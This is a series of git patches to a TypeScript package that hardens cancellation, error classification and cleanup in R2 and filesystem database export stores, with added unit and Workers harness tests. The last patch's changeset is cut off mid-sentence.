`src/r2-export-store.ts` now wraps the cancel call in `try`/`catch` and keeps `throw error;` outside it, so the refusal still propagates. This narrows one escape from that store's fixed-message set rather than closing it; other paths, the `randomUUID` call and the bare put among them, reach a caller by their own routes. `test/r2-export-store.test.ts` adds a case driving an injected `cancel` that throws, asserting the empty-body refusal survives, that `cancel` was reached exactly once with the refusal object itself as its reason, and that no put started. `test/export-store.test.ts` pins the `try`/`catch` that `FileSystemDatabaseExportStore` already holds around its reader cancel, which no test reached: an injected reader whose `cancel` throws must still surface the content-length error and leave no temporary file. `src/export-store.ts`, the R2 class doc, and `.changeset/tee-branch-cancel.md` correct the wording of the tee-branch cancel's settling condition, which named two routes and omitted a third; the cancel also settles when the tee source errors. The class doc drops its "stays pending until" phrasing for the "settles when" wording the other sites carry. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .changeset/tee-branch-cancel.md | 2 +- packages/fleet-control/src/export-store.ts | 4 +-- packages/fleet-control/src/r2-export-store.ts | 12 ++++--- .../fleet-control/test/export-store.test.ts | 31 +++++++++++++++++++ .../test/r2-export-store.test.ts | 24 ++++++++++++++ 5 files changed, 65 insertions(+), 8 deletions(-) diff --git a/.changeset/tee-branch-cancel.md b/.changeset/tee-branch-cancel.md index f98c79a4..ed08c9f4 100644 --- a/.changeset/tee-branch-cancel.md +++ b/.changeset/tee-branch-cancel.md @@ -2,4 +2,4 @@ '@proofoftech/fleet-control': patch --- -`FileSystemDatabaseExportStore.write` no longer awaits the reader's cancel in its failure cleanup. When the body is a `tee()` branch, that cancel settles when the tee source is exhausted or the other branch is cancelled, so a write refused by the store's own checks held its rejection and its temporary file until then, and held both indefinitely when nothing drove the source. It now rejects with the store's error and removes the file without awaiting the cancel. +`FileSystemDatabaseExportStore.write` no longer awaits the reader's cancel in its failure cleanup. When the body is a `tee()` branch, that cancel settles when the tee source is exhausted or errors, or the other branch is cancelled, so a write refused by the store's own checks held its rejection and its temporary file until then, and held both indefinitely when nothing drove the source. It now rejects with the store's error and removes the file without awaiting the cancel. diff --git a/packages/fleet-control/src/export-store.ts b/packages/fleet-control/src/export-store.ts index be0f5893..07b560c8 100644 --- a/packages/fleet-control/src/export-store.ts +++ b/packages/fleet-control/src/export-store.ts @@ -104,8 +104,8 @@ export class FileSystemDatabaseExportStore } try { // The reader's cancel on a tee branch settles when the tee source is - // exhausted or the other branch is cancelled, so cleanup does not - // await it. + // exhausted or errors, or the other branch is cancelled, so cleanup + // does not await it. void reader?.cancel(error).catch(() => undefined); } catch {} try { diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts index 47d8be05..bc68847d 100644 --- a/packages/fleet-control/src/r2-export-store.ts +++ b/packages/fleet-control/src/r2-export-store.ts @@ -66,8 +66,8 @@ interface PreparedUpload { * `write()` is not idempotent. * * A failure after the put settles aborts the body pipe. When the body is a - * `tee()` branch, that abort stays pending until the tee source is - * exhausted or the other branch is cancelled. + * `tee()` branch, that abort can stay pending: it settles when the tee + * source is exhausted or errors, or the other branch is cancelled. */ export class R2DatabaseExportStore implements DurableDatabaseExportStore { readonly #bucket: R2Bucket; @@ -128,9 +128,11 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { .then(() => this.#prepare(input)) .catch((error: unknown) => { // A tee branch's cancel settles when the tee source is exhausted - // or the other branch is cancelled, so the refusal does not await - // it. - void input.body.cancel(error).catch(() => undefined); + // or errors, or the other branch is cancelled, so the refusal does + // not await it. + try { + void input.body.cancel(error).catch(() => undefined); + } catch {} throw error; }); const controller = new AbortController(); diff --git a/packages/fleet-control/test/export-store.test.ts b/packages/fleet-control/test/export-store.test.ts index a99d5545..0c428607 100644 --- a/packages/fleet-control/test/export-store.test.ts +++ b/packages/fleet-control/test/export-store.test.ts @@ -203,6 +203,37 @@ describe('FileSystemDatabaseExportStore', () => { await expect(readdir(root)).resolves.toEqual([]); }); + it('preserves a refusal when an injected reader cancel throws', async () => { + const parent = await temporaryDirectory(); + const root = join(parent, 'exports'); + let cancellations = 0; + const injected = { + getReader() { + return { + async read(): Promise<{ done: true; value: undefined }> { + return { done: true, value: undefined }; + }, + cancel(): never { + cancellations += 1; + throw new Error('synchronous reader cancel failure'); + }, + releaseLock(): void {}, + }; + }, + } as unknown as ReadableStream; + + await expect( + new FileSystemDatabaseExportStore(root).write({ + databaseId: 'database-1', + fileName: 'database-1.sql', + body: injected, + contentLength: 1, + }), + ).rejects.toThrow('export size differs from contentLength'); + expect(cancellations).toBe(1); + await expect(readdir(root)).resolves.toEqual([]); + }); + it('cleans its temporary file when content length does not match', async () => { const parent = await temporaryDirectory(); const root = join(parent, 'exports'); diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index a95c45cc..8a0bc5b6 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -532,6 +532,30 @@ describe('R2DatabaseExportStore', () => { expect(source.cancellations).toHaveLength(1); }); + it('preserves a refusal when an injected cancel throws synchronously', async () => { + const bucket = new FakeR2Bucket(); + const cancellations: unknown[] = []; + const body = { + locked: false, + cancel(reason: unknown): never { + cancellations.push(reason); + throw new Error('synchronous cancel failure'); + }, + } as unknown as ReadableStream; + const refusal = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body, + contentLength: 0, + }), + 'R2 export refuses an empty body', + ); + expect(cancellations).toHaveLength(1); + expect(cancellations[0]).toBe(refusal); + expect(bucket.putCalls).toBe(0); + }); + it('refuses a locked body before starting a put', { timeout: 2_000, }, async () => { From 96954510d01c4fd6709a5203c827402aa0b63bfb Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 17:07:59 +0400 Subject: [PATCH 023/169] test(fleet-control): pin export cancel refusal identity Capture the filesystem export refusal separately from fulfillment and assert that the injected reader receives that exact object when cancellation throws synchronously. This also follows the suite's store-binding idiom and closes the C1c-D review nits. --- .../fleet-control/test/export-store.test.ts | 25 +++++++++++++------ 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/packages/fleet-control/test/export-store.test.ts b/packages/fleet-control/test/export-store.test.ts index 0c428607..3095d54b 100644 --- a/packages/fleet-control/test/export-store.test.ts +++ b/packages/fleet-control/test/export-store.test.ts @@ -206,31 +206,40 @@ describe('FileSystemDatabaseExportStore', () => { it('preserves a refusal when an injected reader cancel throws', async () => { const parent = await temporaryDirectory(); const root = join(parent, 'exports'); - let cancellations = 0; + const cancellationReasons: unknown[] = []; const injected = { getReader() { return { async read(): Promise<{ done: true; value: undefined }> { return { done: true, value: undefined }; }, - cancel(): never { - cancellations += 1; + cancel(reason: unknown): never { + cancellationReasons.push(reason); throw new Error('synchronous reader cancel failure'); }, releaseLock(): void {}, }; }, } as unknown as ReadableStream; + const store = new FileSystemDatabaseExportStore(root); - await expect( - new FileSystemDatabaseExportStore(root).write({ + let refusal: unknown; + try { + await store.write({ databaseId: 'database-1', fileName: 'database-1.sql', body: injected, contentLength: 1, - }), - ).rejects.toThrow('export size differs from contentLength'); - expect(cancellations).toBe(1); + }); + } catch (error) { + refusal = error; + } + expect(refusal).toBeInstanceOf(Error); + expect(refusal).toMatchObject({ + message: 'export size differs from contentLength', + }); + expect(cancellationReasons).toHaveLength(1); + expect(cancellationReasons[0]).toBe(refusal); await expect(readdir(root)).resolves.toEqual([]); }); From 9e89be489c96339a090075cef0c1a6fbad990787 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 18:01:27 +0400 Subject: [PATCH 024/169] fix(fleet-control): harden R2 export settlement Start the R2 put through a non-assimilating barrier before piping, classify synchronous injected failures through fixed stage messages, and clean every owned post-put failure. Digest rejection is observed before readback without making a failed read wait on a hostile pending digest. Unit and real-workerd cases pin ordering, cancellation, cleanup, injected accessors, and mid-transfer source failure before the store becomes public. --- packages/fleet-control/src/r2-export-store.ts | 117 +++++- .../test/fixtures/r2-export-harness-probe.ts | 42 ++ .../test/r2-export-store.harness.test.ts | 9 + .../test/r2-export-store.test.ts | 390 +++++++++++++++++- 4 files changed, 533 insertions(+), 25 deletions(-) diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts index bc68847d..1290d16a 100644 --- a/packages/fleet-control/src/r2-export-store.ts +++ b/packages/fleet-control/src/r2-export-store.ts @@ -23,6 +23,11 @@ export type FixedLengthStreamConstructor = new ( }; export interface R2DatabaseExportStoreStreamPrimitives { + /** + * These constructors must return conforming Workers streams. If an injected + * writable fails to error its paired readable when abort is requested, the + * associated R2 put may not settle. + */ readonly DigestStream: DigestStreamConstructor; readonly FixedLengthStream: FixedLengthStreamConstructor; } @@ -137,20 +142,32 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { }); const controller = new AbortController(); const collision = new Error('R2 export key already exists'); - // A conforming R2Bucket.put returns a promise; a synchronous throw from - // an injected put escapes the fixed-message set. Wrapping the call would - // start the put after the pipe, so it stays bare. - const put = this.#bucket.put(prepared.key, prepared.fixed.readable, { - onlyIf: { etagDoesNotMatch: '*' }, - }); - const pipe = input.body.pipeTo(prepared.fixed.writable, { - signal: controller.signal, - }); + // The wrapper prevents promise assimilation: the provider call starts + // before the pipe without waiting for the provider promise to settle. + const putStartState = await settled(() => ({ + operation: this.#bucket.put(prepared.key, prepared.fixed.readable, { + onlyIf: { etagDoesNotMatch: '*' }, + }), + })); + if (putStartState.status === 'rejected') { + try { + void input.body.cancel(putStartState.reason).catch(() => undefined); + } catch {} + throw new Error('R2 export upload failed', { + cause: putStartState.reason, + }); + } + const put = putStartState.value.operation; + const pipe = funnel(() => + input.body.pipeTo(prepared.fixed.writable, { + signal: controller.signal, + }), + ); // `pipeTo` can reject before locking its destination, and the body can be // locked between the check and this call; erroring the fixed writable // settles the put. void pipe.catch((reason: unknown) => { - void prepared.fixed.writable.abort(reason).catch(() => undefined); + void settled(() => prepared.fixed.writable.abort(reason)); }); void put.then( (object) => { @@ -163,7 +180,8 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { if (putState.status === 'rejected') { throw new Error('R2 export upload failed', { cause: putState.reason }); } - if (putState.value === null) throw collision; + const uploaded = putState.value; + if (uploaded === null) throw collision; if (pipeState.status === 'rejected') { return this.#failOwned( prepared.key, @@ -172,7 +190,12 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { }), ); } - if (putState.value.size !== prepared.contentLength) { + const uploadedSize = await this.#ownedValue( + prepared.key, + 'R2 export upload failed', + () => uploaded.size, + ); + if (uploadedSize !== prepared.contentLength) { return this.#failOwned( prepared.key, new Error('R2 export size differs from contentLength'), @@ -193,7 +216,12 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { new Error('R2 export readback found no object'), ); } - if (stored.size !== prepared.contentLength) { + const storedSize = await this.#ownedValue( + prepared.key, + 'R2 export readback failed', + () => stored.size, + ); + if (storedSize !== prepared.contentLength) { return this.#failOwned( prepared.key, new Error('R2 export readback size differs from contentLength'), @@ -212,17 +240,32 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { ); } const digest = digestConstructorState.value; - const readback: WorkerReadableStream = stored.body; - const [readState, digestState] = await Promise.allSettled([ - readback.pipeTo(digest), - digest.digest, - ]); + const readback: WorkerReadableStream = await this.#ownedValue( + prepared.key, + 'R2 export readback failed', + () => stored.body, + ); + // Capture without assimilating: the pipe must start before this promise is + // awaited. Observe rejection now, but await settlement only after the pipe. + const capturedDigest = await this.#ownedValue( + prepared.key, + 'R2 export readback failed', + () => { + const promise = digest.digest; + void promise.catch(() => undefined); + return { promise }; + }, + ); + const digestSettlement = settled(() => capturedDigest.promise); + const readState = await settled(() => readback.pipeTo(digest)); if (readState.status === 'rejected') { + void settled(() => digest.abort(readState.reason)); return this.#failOwned( prepared.key, new Error('R2 export readback failed', { cause: readState.reason }), ); } + const digestState = await digestSettlement; if (digestState.status === 'rejected') { return this.#failOwned( prepared.key, @@ -231,17 +274,27 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { } // Commit size, read metadata, and streamed byte count identify distinct // disagreement points without buffering the export. - if (Number(digest.bytesWritten) !== prepared.contentLength) { + const bytesWritten = await this.#ownedValue( + prepared.key, + 'R2 export readback failed', + () => Number(digest.bytesWritten), + ); + if (bytesWritten !== prepared.contentLength) { return this.#failOwned( prepared.key, new Error('R2 export readback length differs from contentLength'), ); } + const sha256 = await this.#ownedValue( + prepared.key, + 'R2 export readback failed', + () => toHex(digestState.value), + ); return { location: `r2://${this.#bucketName}/${prepared.key}`, size: prepared.contentLength, - sha256: toHex(digestState.value), + sha256, }; } @@ -274,13 +327,29 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { ); } const key = `${this.#keyPrefix}${input.databaseId}/${uuid}-${input.fileName}`; + const fixed = new this.#FixedLengthStream(input.contentLength); return { key, contentLength: input.contentLength, - fixed: new this.#FixedLengthStream(input.contentLength), + fixed: { + readable: fixed.readable, + writable: fixed.writable, + }, }; } + async #ownedValue( + key: string, + message: 'R2 export upload failed' | 'R2 export readback failed', + operation: () => T | PromiseLike, + ): Promise> { + const state = await settled(operation); + if (state.status === 'rejected') { + return this.#failOwned(key, new Error(message, { cause: state.reason })); + } + return state.value; + } + async #failOwned(key: string, error: unknown): Promise { const cleanupState = await settled(() => this.#bucket.delete(key)); if (cleanupState.status === 'rejected') { @@ -297,10 +366,14 @@ async function settled( operation: () => T | PromiseLike, ): Promise>> { // Resolving through a promise makes a synchronous throw a rejection. - const [state] = await Promise.allSettled([Promise.resolve().then(operation)]); + const [state] = await Promise.allSettled([funnel(operation)]); return state; } +async function funnel(operation: () => T | PromiseLike) { + return operation(); +} + function isKeyPrefix(value: string | undefined): boolean { if (value === undefined || value === '') return true; if (!value.endsWith('/')) return false; diff --git a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts index 71125c7b..0e9049a8 100644 --- a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts @@ -122,6 +122,46 @@ async function short(env: Env) { }; } +async function midTransferError(env: Env) { + const uuid = 'mid-transfer-uuid'; + const prefix = 'exports/mid-transfer-db/'; + let sent = false; + let pullCount = 0; + let bytesEnqueued = 0; + const body = new ReadableStream({ + pull(controller) { + pullCount += 1; + if (!sent) { + sent = true; + const chunk = sequence(4096, 41); + bytesEnqueued += chunk.byteLength; + controller.enqueue(chunk); + return; + } + controller.error(new Error('mid-transfer source failure')); + }, + }); + const result = await Promise.allSettled([ + store(env, uuid).write({ + databaseId: 'mid-transfer-db', + fileName: 'export.sqlite3', + body, + contentLength: 8192, + }), + ]); + const state = result[0]; + if (state.status === 'fulfilled') { + throw new Error('mid-transfer export succeeded'); + } + const listed = await env.EXPORTS.list({ prefix }); + return { + message: messageOf(state.reason), + objectCount: listed.objects.length, + pullCount, + bytesEnqueued, + }; +} + async function collision(env: Env) { const fixed = 'collision-uuid'; const first = sequence(4096, 11); @@ -183,6 +223,8 @@ async function dispatch(action: string, env: Env): Promise { return Response.json(await empty(env)); case 'short': return Response.json(await short(env)); + case 'mid-transfer-error': + return Response.json(await midTransferError(env)); case 'collision': return Response.json(await collision(env)); default: diff --git a/packages/fleet-control/test/r2-export-store.harness.test.ts b/packages/fleet-control/test/r2-export-store.harness.test.ts index 7b7ee7f7..e9b3afce 100644 --- a/packages/fleet-control/test/r2-export-store.harness.test.ts +++ b/packages/fleet-control/test/r2-export-store.harness.test.ts @@ -97,6 +97,15 @@ describe.sequential('R2DatabaseExportStore Wrangler harness', { }); }); + it('rejects a mid-transfer source error without leaving an object', async () => { + await expect(probe('mid-transfer-error')).resolves.toEqual({ + message: 'R2 export upload failed', + objectCount: 0, + pullCount: 2, + bytesEnqueued: 4096, + }); + }); + it('preserves the winner of a conditional collision', async () => { const result = await probe('collision'); expect(result).toMatchObject({ diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index 8a0bc5b6..afd8be61 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -165,6 +165,9 @@ class FakeR2Bucket implements R2Bucket { readonly objects = new Map(); readonly deleteCalls: string[] = []; putCalls = 0; + onPut: (() => void) | undefined; + transformPutResult: ((object: R2Object) => R2Object) | undefined; + transformGetResult: ((object: R2ObjectBody) => R2ObjectBody) | undefined; putMode: PutMode = 'normal'; putResolveAfterBytes: number | undefined; getMode: GetMode = 'normal'; @@ -199,12 +202,13 @@ class FakeR2Bucket implements R2Bucket { : this.getMode === 'short' ? stored.slice(0, -1) : stored; - return objectBody( + const result = objectBody( key, reportedSize, bodyBytes, this.getMode === 'read-error' ? this.readError : undefined, ); + return this.transformGetResult?.(result) ?? result; } put( @@ -219,6 +223,7 @@ class FakeR2Bucket implements R2Bucket { options?: R2PutOptions, ): Promise { this.putCalls += 1; + this.onPut?.(); if (!isReadable(value)) throw new Error('fake expects a readable stream'); if (this.putMode === 'null-before-read') return null; if (this.putMode === 'reject-before') throw this.putError; @@ -237,7 +242,8 @@ class FakeR2Bucket implements R2Bucket { const result = combineChunks(chunks, size); reader.releaseLock(); this.objects.set(key, result); - return metadata(key, size); + const object = metadata(key, size); + return this.transformPutResult?.(object) ?? object; } if (this.putMode === 'reject-mid') { await reader.cancel(this.putError); @@ -254,7 +260,11 @@ class FakeR2Bucket implements R2Bucket { : undefined; if (conditional === '*' && this.objects.has(key)) return null; this.objects.set(key, result); - return metadata(key, this.putMode === 'size-mismatch' ? size + 1 : size); + const object = metadata( + key, + this.putMode === 'size-mismatch' ? size + 1 : size, + ); + return this.transformPutResult?.(object) ?? object; } async delete(keys: string | string[]): Promise { @@ -295,6 +305,20 @@ function combineChunks( return result; } +function throwingProperty( + value: T, + property: K, + error: Error, +): T { + return Object.defineProperty({ ...value }, property, { + configurable: true, + enumerable: true, + get(): never { + throw error; + }, + }) as T; +} + function createStore( bucket: R2Bucket, options: { @@ -326,6 +350,20 @@ async function rejection( return state[0].reason; } +async function within(operation: Promise, message: string): Promise { + let timer: ReturnType | undefined; + try { + return await Promise.race([ + operation, + new Promise((_, reject) => { + timer = setTimeout(() => reject(new Error(message)), 250); + }), + ]); + } finally { + clearTimeout(timer); + } +} + describe('Node Worker stream fixtures', () => { it('keeps the digest pending until close and counts bytes', async () => { const digest = new NodeDigestStream('SHA-256'); @@ -516,6 +554,53 @@ describe('R2DatabaseExportStore', () => { } }); + it('cancels before upload when a fixed stream half getter throws', async () => { + for (const property of [ + 'readable', + 'writable', + ] satisfies readonly (keyof NodeFixedLengthStream)[]) { + const sentinel = new Error(`${property} getter failed`); + class ThrowingFixedLengthStream { + readonly #fixed: NodeFixedLengthStream; + + constructor(expectedLength: number) { + this.#fixed = new NodeFixedLengthStream(expectedLength); + } + + get readable(): WorkerReadableStream { + if (property === 'readable') throw sentinel; + return this.#fixed.readable; + } + + get writable(): WorkerWritableStream { + if (property === 'writable') throw sentinel; + return this.#fixed.writable; + } + } + const bucket = new FakeR2Bucket(); + const source = streamFrom(bytes(1), { stayOpen: true }); + const error = await rejection( + createStore(bucket, { + streams: { + ...nodeWorkerStreams, + FixedLengthStream: ThrowingFixedLengthStream, + }, + }).write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength: 1, + }), + sentinel.message, + ); + expect(error).toBe(sentinel); + expect(source.cancellations).toEqual([sentinel]); + expect(bucket.putCalls).toBe(0); + expect(bucket.deleteCalls).toHaveLength(0); + expect(bucket.objects).toHaveLength(0); + } + }); + it('preserves a refusal when source cancellation rejects', async () => { const bucket = new FakeR2Bucket(); const source = streamFrom(bytes(1), { rejectCancel: true }); @@ -605,6 +690,108 @@ describe('R2DatabaseExportStore', () => { } }); + it('starts the put before piping the source', async () => { + const events: string[] = []; + const bucket = new FakeR2Bucket(); + bucket.onPut = () => events.push('put'); + const source = streamFrom(bytes(1, 2, 3, 4)); + const body = { + locked: false, + pipeTo(destination: unknown): Promise { + events.push('pipe'); + return source.body.pipeTo(destination as WritableStream); + }, + } as unknown as ReadableStream; + + await within( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body, + contentLength: 4, + }), + 'ordered upload did not settle', + ); + + expect(events).toEqual(['put', 'pipe']); + expect(bucket.objects.get('db/uuid-1-x.db')).toEqual(bytes(1, 2, 3, 4)); + }); + + it('does not pipe or await cancellation when put throws synchronously', async () => { + const sentinel = new Error('synchronous put failure'); + const events: string[] = []; + const cancellations: unknown[] = []; + const bucket = { + put(): never { + events.push('put'); + throw sentinel; + }, + get(): never { + throw new Error('get must not run'); + }, + delete(): never { + throw new Error('delete must not run'); + }, + } as unknown as R2Bucket; + const body = { + locked: false, + cancel(reason: unknown): Promise { + cancellations.push(reason); + return new Promise(() => undefined); + }, + pipeTo(): Promise { + events.push('pipe'); + return Promise.resolve(); + }, + } as unknown as ReadableStream; + + const error = await rejection( + within( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body, + contentLength: 1, + }), + 'synchronous put handling did not settle', + ), + 'R2 export upload failed', + ); + + expect(error.cause).toBe(sentinel); + expect(events).toEqual(['put']); + expect(cancellations).toEqual([sentinel]); + }); + + it('funnels a synchronous source pipe throw and settles the upload', async () => { + const sentinel = new Error('synchronous pipe failure'); + const bucket = new FakeR2Bucket(); + const body = { + locked: false, + pipeTo(): never { + throw sentinel; + }, + } as unknown as ReadableStream; + + const error = await rejection( + within( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body, + contentLength: 1, + }), + 'synchronous pipe handling did not settle', + ), + 'R2 export upload failed', + ); + + expect(error.cause).toBe(sentinel); + expect(bucket.putCalls).toBe(1); + expect(bucket.deleteCalls).toHaveLength(0); + expect(bucket.objects).toHaveLength(0); + }); + it('aborts the source when put rejects prior to reading', async () => { const bucket = new FakeR2Bucket(); bucket.putMode = 'reject-before'; @@ -805,6 +992,203 @@ describe('R2DatabaseExportStore', () => { expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); }); + it('cleans owned objects when upload and stored metadata getters throw', async () => { + for (const target of [ + 'uploaded-size', + 'stored-size', + 'stored-body', + ] as const) { + const sentinel = new Error(`${target} failed`); + const bucket = new FakeR2Bucket(); + if (target === 'uploaded-size') { + bucket.transformPutResult = (object) => + throwingProperty(object, 'size', sentinel); + } else { + bucket.transformGetResult = (object) => + throwingProperty( + object, + target === 'stored-size' ? 'size' : 'body', + sentinel, + ); + } + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + target === 'uploaded-size' + ? 'R2 export upload failed' + : 'R2 export readback failed', + ); + expect(error.cause).toBe(sentinel); + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + expect(bucket.objects).toHaveLength(0); + } + }); + + it('cleans owned objects when digest reads and conversions throw', async () => { + for (const target of [ + 'digest', + 'bytes-written', + 'bytes-number', + 'hex', + ] as const) { + const sentinel = new Error(`${target} failed`); + class ThrowingDigestRead extends WritableStream< + ArrayBuffer | ArrayBufferView + > { + constructor(_algorithm: 'SHA-256') { + super(); + } + + get digest(): Promise { + if (target === 'digest') throw sentinel; + if (target === 'hex') { + const malformed = new Proxy(Object.create(null), { + get(_target, property): unknown { + if (property === 'then') return undefined; + throw sentinel; + }, + }); + return Promise.resolve(malformed as ArrayBuffer); + } + return Promise.resolve(new Uint8Array(32).buffer); + } + + get bytesWritten(): number | bigint { + if (target === 'bytes-written') throw sentinel; + if (target === 'bytes-number') { + return { + [Symbol.toPrimitive](): never { + throw sentinel; + }, + } as unknown as number; + } + return 2; + } + } + const bucket = new FakeR2Bucket(); + const error = await rejection( + createStore(bucket, { + streams: { + ...nodeWorkerStreams, + DigestStream: ThrowingDigestRead, + }, + }).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'R2 export readback failed', + ); + expect(error.cause).toBe(sentinel); + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + expect(bucket.objects).toHaveLength(0); + } + }); + + it('does not await a pending digest after a readback pipe failure', async () => { + const readError = new Error('readback pipe failed'); + const digestAborts: unknown[] = []; + class PendingDigestStream extends WritableStream< + ArrayBuffer | ArrayBufferView + > { + readonly digest = new Promise(() => undefined); + readonly bytesWritten = 0; + + constructor(_algorithm: 'SHA-256') { + super(); + } + + override abort(reason?: unknown): Promise { + digestAborts.push(reason); + return super.abort(reason); + } + } + const bucket = new FakeR2Bucket(); + bucket.transformGetResult = (object) => { + Object.defineProperty(object, 'body', { + configurable: true, + enumerable: true, + value: { + pipeTo(): never { + throw readError; + }, + } as unknown as WorkerReadableStream, + }); + return object; + }; + const error = await rejection( + within( + createStore(bucket, { + streams: { + ...nodeWorkerStreams, + DigestStream: PendingDigestStream, + }, + }).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'readback failure awaited a pending digest', + ), + 'R2 export readback failed', + ); + expect(error.cause).toBe(readError); + expect(digestAborts).toEqual([readError]); + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + expect(bucket.objects).toHaveLength(0); + }); + + it('prefers a readback pipe failure over an observed digest rejection', async () => { + const readError = new Error('readback pipe failed'); + const digestError = new Error('digest failed first'); + class RejectedDigestStream extends WritableStream< + ArrayBuffer | ArrayBufferView + > { + readonly digest = Promise.reject(digestError); + readonly bytesWritten = 0; + + constructor(_algorithm: 'SHA-256') { + super(); + } + } + const bucket = new FakeR2Bucket(); + bucket.transformGetResult = (object) => { + Object.defineProperty(object, 'body', { + configurable: true, + enumerable: true, + value: { + pipeTo(): Promise { + return Promise.reject(readError); + }, + } as unknown as WorkerReadableStream, + }); + return object; + }; + const error = await rejection( + createStore(bucket, { + streams: { + ...nodeWorkerStreams, + DigestStream: RejectedDigestStream, + }, + }).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'R2 export readback failed', + ); + expect(error.cause).toBe(readError); + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + expect(bucket.objects).toHaveLength(0); + }); + it('aggregates an owned failure with a cleanup rejection', async () => { const bucket = new FakeR2Bucket(); bucket.getMode = 'null'; From deb7425d583c6766e0376ff64737b7d7483b3892 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 18:07:15 +0400 Subject: [PATCH 025/169] test(fleet-control): pin R2 put cancellation identity Assert that an asynchronous provider rejection reaches source cancellation as the exact original reason. Scope the paired-readable settlement requirement to FixedLengthStream, the injected constructor that actually feeds the R2 put. --- packages/fleet-control/src/r2-export-store.ts | 8 ++++---- packages/fleet-control/test/r2-export-store.test.ts | 1 + 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts index 1290d16a..847c9b29 100644 --- a/packages/fleet-control/src/r2-export-store.ts +++ b/packages/fleet-control/src/r2-export-store.ts @@ -23,12 +23,12 @@ export type FixedLengthStreamConstructor = new ( }; export interface R2DatabaseExportStoreStreamPrimitives { + readonly DigestStream: DigestStreamConstructor; /** - * These constructors must return conforming Workers streams. If an injected - * writable fails to error its paired readable when abort is requested, the - * associated R2 put may not settle. + * Must return a conforming Workers paired stream. If an injected writable + * fails to error its paired readable when abort is requested, the associated + * R2 put may not settle. */ - readonly DigestStream: DigestStreamConstructor; readonly FixedLengthStream: FixedLengthStreamConstructor; } diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index afd8be61..f94cc714 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -807,6 +807,7 @@ describe('R2DatabaseExportStore', () => { ); expect(error.cause).toBe(bucket.putError); expect(source.cancellations).toHaveLength(1); + expect(source.cancellations[0]).toBe(bucket.putError); expect(bucket.deleteCalls).toHaveLength(0); }); From f100ab39db49f0559c396affc75caa59ac035948 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 20:45:58 +0400 Subject: [PATCH 026/169] fix(fleet-control): bound Worker attachment scans Add resumable D1 and R2 attachment traversal with strict progress validation and page-independent evidence. Keep raw dispatch authentication private while preserving complete-list behavior. --- .changeset/bounded-attachment-scans.md | 5 + packages/fleet-control/CLAUDE.md | 1 + .../src/cloudflare-client-config.ts | 4 + .../fleet-control/src/cloudflare-client.ts | 369 +--- .../src/cloudflare-worker-attachment-scan.ts | 1876 +++++++++++++++++ .../test/worker-attachment-scan.test.ts | 1797 ++++++++++++++++ 6 files changed, 3747 insertions(+), 305 deletions(-) create mode 100644 .changeset/bounded-attachment-scans.md create mode 100644 packages/fleet-control/src/cloudflare-client-config.ts create mode 100644 packages/fleet-control/src/cloudflare-worker-attachment-scan.ts create mode 100644 packages/fleet-control/test/worker-attachment-scan.test.ts diff --git a/.changeset/bounded-attachment-scans.md b/.changeset/bounded-attachment-scans.md new file mode 100644 index 00000000..6f9abc94 --- /dev/null +++ b/.changeset/bounded-attachment-scans.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Harden account-wide D1 and R2 attachment scans with a request-bounded, page-independent resumable engine. Rechecked inventory drift, malformed provider metadata, non-string or repeated dispatch cursors, and 